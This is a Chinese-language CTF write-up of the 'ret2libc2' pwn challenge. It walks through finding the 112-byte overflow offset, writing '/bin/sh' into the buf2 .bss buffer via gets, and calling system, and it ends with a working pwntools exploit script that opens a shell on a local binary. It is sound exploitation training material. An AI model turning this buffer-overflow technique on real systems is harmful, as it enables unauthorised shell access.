pwn — ret2libc2

照常,我们check一下,emmm它又开NX了


pwn — ret2libc2_第1张图片
image.png

所以这题估计是让我们补或者写shell的了,然后我们去ida里看一下,然后发现它有system

image.png

然后呢就找字符串“/bin/sh”了

pwn — ret2libc2_第2张图片
image.png

但是我们发现,并没有这个字符,所以题目就是让我们写一个”/bin/sh”进去,但是不能直接把它写入栈里面,要将它写入bss再作为参数被调用

pwn — ret2libc2_第3张图片
image.png

然后我们又在bss段看见了buf2,所以我们要把”/bin/sh”写到buf2里,需要用到gets函数

Main里有gets函数,去找它的地址

pwn — ret2libc2_第4张图片
image.png
pwn — ret2libc2_第5张图片
image.png

然后我们要写payload还是要找偏移量的(由于不是特别会看ida里的偏移,那就直接用gdb爆吧)

pwn — ret2libc2_第6张图片
image.png

爆出来发现是112

然后我们可以写payload了,这个时候我就疑惑了,为啥payload = “a”*112+p32(gets)+p32(sytem)+p32(buf2)不行呢?

后来发现了栈的原理貌似是这样的:

pwn — ret2libc2_第7张图片
image.png

第三个开始存函数的参数,第二个是函数 结束之后的返回地址(指向下一个执行地址)

以题为例子

pwn — ret2libc2_第8张图片
image.png

还有另一种payload的写法就是堆栈平衡,就是在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用,system调用的时候会有一个返回值,直接拿垃圾字符搪塞一下就好(这道题的堆栈平衡其实没有很明显的必要,但是有一些连续调用多个函数的时候就需要用到这个平衡了)

然后上我们的脚本

from pwn import *

sh = process('./ret2libc2')

system = 0x8048490
gets = 0x8048460
buf2 = 0x804A080
pop = 0x0804843d

#payload = flat(["a"*112,gets,pop,buf2,system,"aaaa",buf2])
payload = flat(["a"*112,gets,system,buf2,buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

然后就over啦

image.png

你可能感兴趣的:(pwn — ret2libc2)